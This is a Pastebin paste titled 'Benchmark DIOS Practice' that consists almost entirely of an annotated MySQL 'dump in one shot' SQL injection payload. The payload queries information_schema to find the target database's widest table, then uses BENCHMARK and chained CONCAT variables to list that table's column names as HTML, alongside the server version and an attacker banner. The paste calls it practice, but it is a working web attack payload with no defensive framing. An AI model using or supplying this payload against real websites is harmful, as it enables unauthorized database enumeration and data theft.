Advertisement
aaka

Benchmark DIOS Practice

Sep 8th, 2015
201
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.75 KB | None | 0 0
  1. concat
  2. (
  3. '<br><font color=blue>AAKASH ::: </font>',version(),
  4. (select (@a) from (select (@a:=0x00),(@tbl:=0x00),(@c:=0x00),(@c_max:=0x00),(@c_max_t_name:=0x00),
  5. ( select (@a) from information_schema.columns where table_schema=database() and(@a) in
  6. (@a:=concat
  7. (
  8. @a,
  9. if( length(@tbl:=table_name)>0,
  10. if( (@c:=(select count(column_name) from information_schema.columns where table_schema=database() and table_name=@tbl) )>@c_max,
  11. if( (@c_max:=@c)>0,
  12. if( (@c_max_t_name:=@tbl)>0,0x00,0x00),0x00),0x00),0x00)
  13. )
  14. )
  15. )
  16. )
  17. a),
  18. <1st concat start>
  19. concat
  20. (
  21. '<br><font color=red>',@c_max_t_name,'</font> is table with most columns <font color=red>(',@c_max,'):</font><font color=black> ',
  22. <2nd concat start>
  23. concat
  24. (
  25. @clm:=0x00,@tbl_o:=0x00,@num:=0x00,
  26. if (
  27. <benchmark start>
  28. benchmark
  29. (
  30. @c_max,@tbl_o:=<3rd concat start>
  31. concat
  32. (
  33. @tbl_o,
  34. '<br>',
  35. LPAD(@num:=@num%2b1,2,0x30),0x2e20,
  36. (select (@clm:=column_name) from information_schema.columns where table_name=@c_max_t_name and column_name
  37. >@clm order by column_name limit 1)
  38. )
  39. </3rd concat end>
  40. )
  41. =0
  42. </benchmark end>
  43. ,@tbl_o,0x00 ),
  44. '<br>')
  45.  
  46. </2nd concat end>
  47. )
  48. </1st concat end>
  49.  
  50. )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement